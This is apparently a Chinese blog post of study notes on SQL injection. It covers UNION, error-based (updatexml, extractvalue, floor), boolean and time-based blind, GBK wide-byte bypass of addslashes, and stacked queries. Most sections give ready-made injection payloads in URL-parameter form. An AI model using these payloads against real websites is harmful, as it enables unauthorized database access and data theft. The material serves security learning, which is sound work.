SQL注入学习总结

SQL注入原理:

攻击者通过在用户输入中插入恶意SQL代码,使应用程序错误地将这些输入当作SQL命令的一部分处理或直接报错,从而绕过安全限制并非法操作数据库。

SQL注入的两大类型:

基于整型:

整型参数一般有id、page、age等,也不需要单引号括号,这些字符输入都会被当作数字执行,整型会判断数据是否相等,比如

复制代码
`and 1=1`:页面正常返回数据
`and 1=2`:页面无数据 / 报错

基于字符型:

变量被单引号包裹,需要单引号闭合原有引号,构造的sql语句才能拼接成功。

复制代码
?id=1' and 1=1 --+ 
?id=1' and 1=2 --+

构造语句成功和1=1、1=2没关系,和是否闭合成功有关系

SQL注入漏洞类型:

联合查询注入:

把攻击者的查询结果拼接到正常查询语句后面一起显示出来。

复制代码
select * from users where id=1 UNION SELECT 1,version(),3;

在我们不知道字段数的时候,用order by +字段查询 如下:

得知user表里面有6个字段。

UNION特殊性:

UNION用于把多条 SELECT 查询结果合并成一个结果集

复制代码
select 列1,列2 from A
UNION
select 列1,列2 from B;
  1. 字段数量、顺序必须完全一致

两个 select 返回的列的个数必须相同 ,列类型尽量兼容,列名以第一条 select 的列名为准

复制代码
--正确:都是2列
select id,username from user
UNION
select id,name from student;

--报错:左边2列,右边1列
select id,username from user
UNION
select id from student;

2.UNION默认自动去重;UNION ALL不去重

union:合并后,删除重复行,会做排序,性能差;

union all:直接拼接,不去重,奴排序,速度快

3.order by只能写在union 的最后面,对合并后的整体排序

复制代码
select id,username from user
UNION
select id,username from student
ORDER BY id DESC;

4.where、group by写在各自子查询内部

where 不能写在整个 union 后面过滤,每个 select 自己加 where 条件。

复制代码
(select id,username from user where age>20)
UNION
(select id,username from student where age>20);

5.union和jion的本质区别:

union行合并,上下堆数据;jion列合并,左右关联

报错注入

适用:MySQL,利用数据库执行错误时把查询结果输出到报错信息中,没有回显位,但会打印报错信息时使用。 前提条件:

  1. 页面会返回 SQL 执行错误信息;

  2. 可以控制传入的 SQL 参数;

  3. 不能直接 union 查询(无正常回显点)。

    select * from users where id = 1 and updatexml(1,concat(0x7e,version(),0x7e),1);

一、核心原理

MySQL 部分函数出错时,会把函数内部执行查询得到的数据,拼接到错误提示里输出到页面。 我们把想要查询的语句放在报错函数的参数里,触发报错,数据就随报错显示出来。

如果页面不输出 MySQL 报错,报错注入直接失效,不能用。

二、常用报错注入函数

1. updatexml ()

函数原型:

复制代码
updatexml(目标xml文档, xpath表达式, 替换内容)
  • 第二个参数要求是合法 xpath 格式;传入~@等非法字符,触发报错。
  • concat(0x7e,要查询的语句)0x7e~,制造非法 xpath 语法。

payload 模板:

复制代码
and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

注意:updatexml 报错最多输出 32 位字符,数据长了会截断,需要 substr 截取。

截取示例:

复制代码
and updatexml(1,concat(0x7e,substr((select table_name from information_schema.tables where table_schema=database()),1,32),0x7e),1)--+
2. extractvalue ()

也是 xpath 报错,同样最大 32 字符限制

复制代码
and extractvalue(1,concat(0x7e,(select database()))) --+

updatexml /extractvalue 共同点:

  1. xpath 报错,最多返回32 个字符
  2. 长数据必须用substr(xxx,偏移,长度)分段读取;
  3. 不能查询多行列,要用limit 0,1每次取一条。
3. floor (rand ()*2) 报错(group by 报错注入,旧版本)

原理:group by + rand()主键重复报错。 不受 32 字符限制。 payload 模板:

复制代码
and (select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a) --+

缺点:不稳定,有时不触发报错;高版本 MySQL 已经修复。

  1. exp () 报错(mysql5.5.5 及以前) exp (~ 大数) 触发数值溢出报错,新版本废弃,了解即可。

布尔盲注:

页面没有数据回显,也不输出数据库报错;但是输入不同 SQL,页面会返回两种不同状态(正确页面 / 错误页面)。

核心思路:猜,一个字符一个字符爆破,无法直接看到返回数据,通过页面真假判断猜测的字符是否正确

前提条件

  1. 参数存在 SQL 注入;
  2. 无回显、无报错输出;
  3. 输入条件为真、假,页面有明显不一样的响应。

核心函数

  1. length(str):获取字符串长度
  2. substr(str, offset, len):截取字符串,下标从 1 开始!不是 0
  3. ascii(char):把字符转为 ASCII 数字,盲注几乎都用 ascii 比较,避免引号问题
  4. mid()等价 substr;ord()等价 ascii ()

模板核心逻辑:if( (条件), 1, 0 ) payload 逻辑:构造查询条件,条件成立页面返回真,不成立返回假。

复制代码
#判断数据库长度
?id=1' and length(database())>5 --+

#逐位猜数据库名字符
?id=1' and ascii(substr(database(),1,1))>100 --+

#猜表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+


#猜字段名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100 --+

#猜数据内容
?id=1' and ascii(substr((select username from `user` limit 0,1),1,1))>110 --+

#if写法
?id=1' and if(ascii(substr(database(),1,1))>100,1,0) --+

时间盲注

既没有数据回显,也没有报错回显,布尔条件真假页面返回完全一模一样,看不出任何页面差异。 只能依靠SQL 执行后的响应时间延迟来判断条件真假。

核心逻辑:if(条件为真,sleep(延迟秒数),1)

  • 如果条件成立 → 执行sleep(N),页面加载变慢,产生延时
  • 如果条件不成立 → 不 sleep,页面立刻返回

核心函数

  1. sleep(n):休眠 n 秒,最常用
  2. benchmark(次数,函数):重复执行函数,制造延时,部分环境过滤 sleep 时用
  3. substr(str,起始位置,长度):截取字符,下标从 1 开始
  4. ascii():字符转 ASCII 数字,避免引号问题
  5. if(判断条件,true执行,false执行)

模板骨架

复制代码
if( (条件), sleep(5), 1 )

条件正确,就会延迟 5 秒再返回页面。

完整手工 Payload 示例(单引号闭合?id=1')

1. 判断数据库名长度

复制代码
?id=1' and if(length(database())>5,sleep(3),1)--+
  • 页面延迟 3 秒加载:条件成立,库名长度 > 5
  • 页面瞬间返回:条件不成立,库名≤5

2. 猜数据库名第 1 位字符(二分法)

复制代码
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),1)--+

substr(database(),1,1):取第 1 个字符;修改第二个数字猜第 2、3...... 位。

3. 猜表名(必须加 limit 0,1,只取一行)

复制代码
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110,sleep(3),1)--+

4. 猜字段名

复制代码
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100,sleep(3),1)--+

5. 猜数据

复制代码
?id=1' and if(ascii(substr((select username from `user` limit 0,1),1,1))>120,sleep(3),1)--+

sleep 被过滤的替代方案 benchmark

复制代码
?id=1' and if(ascii(substr(database(),1,1))>100,benchmark(1000000,md5('test')),1)--+

宽字节注入

核心场景 :网站开启 addslashes 转义 / 单引号转义,' 被自动转义成 \',单引号失效,无法闭合SQL语句,常规注入失效。

根本原因 :数据库编码为 GBK(宽字节),PHP页面编码为UTF-8。

GBK 是双字节编码:一个汉字/特殊字符占 2 个字节;UTF-8 一个字符占 3 字节。

绕过逻辑

  1. 攻击者传入 %df% + '

  2. 服务器过滤机制自动把 ' 转义为 \' (反斜杠编码 %5c

  3. %df + %5c 被 MySQL GBK 编码合并识别成 一个合法汉字

  4. 反斜杠被"吃掉",逃逸转义,单引号成功逃逸生效,实现SQL闭合注入

一句话口诀构造宽字符,吃掉反斜杠,释放单引号

1. 基础闭合绕过

原始被拦截:' → 转义为 \'

绕过 payload:%df'

复制代码
解析过程:

传入:%df'

转义后:%df%5c'

GBK解码:%df%5c = 一个汉字,反斜杠消失,剩余 ' 成功闭合SQL

2. 完整可用注入语句

Union注入示例:

复制代码
?id=%df' union select 1,database(),3--+

报错注入示例:

复制代码
?id=%df' and updatexml(1,concat(0x7e,database()),1)--+
3、常用宽字节字符(均可吃反斜杠)

只要第一个字节大于 0x7f ,即可和 %5c 组成GBK汉字:

%df、%aa、%ab、%ac、%ad

最稳定、通用:%df

4、宽字节注入核心特点
  1. 只针对转义防护 :专门绕过 addslashes 单引号转义

  2. 只针对GBK编码:UTF-8无此漏洞

  3. 逃逸对象是反斜杠,不是单引号

  4. 属于编码解析漏洞,不是SQL语法漏洞

堆叠注入

1. 原理

利用 MySQL 分号; 可以分隔多条 SQL 的特性,终止原有语句 ,再额外执行一条全新独立 SQL

2. 利用条件

  1. 参数可控、可输入分号
  2. 后端支持多语句执行
  3. union/select 被过滤时常用

3. 核心特点

  1. 不限制字段数,和原 SQL 无关,独立执行
  2. 不止查询,可增、删、改、建表
  3. 可用 show/desc 绕过 select 过滤
  4. 部分环境执行成功但无回显(隐式执行)

4. 常用 payload 模板

复制代码
?id=1';show databases;--+

5. 缺点

大部分现代框架默认禁止多语句、拦截分号,成功率低;权限不足也无法执行。

相关推荐
m4Rk_1 小时前
【论文阅读】Agent 记忆机制(43):Mem²Evolve——让经验与能力在双记忆中共同进化
论文阅读·人工智能·学习·开源·github
自小吃多1 小时前
Capture软件原理图添加元器件笔记
笔记·嵌入式硬件
TJHHH.2 小时前
文件包含漏洞
笔记·安全·文件包含
个 人 练 习 生2 小时前
数据结构入门:算法复杂度
开发语言·数据结构·经验分享·学习·程序人生·算法
ι:2 小时前
DeepSeek Harness 桌面一键启动与网页背景修改指南
windows·学习·deepseekharness
其实防守也摸鱼2 小时前
红队技能总结导图:从入门到精通的完整知识体系
开发语言·人工智能·学习·安全·web安全
zjnlswd2 小时前
C# 学习笔记
笔记·学习
远离UE42 小时前
UE5 显存 虚拟内存 深入学习笔记
笔记·学习·ue5
我是慎独2 小时前
VulkanSceneGraph学习教程(十一)
c++·学习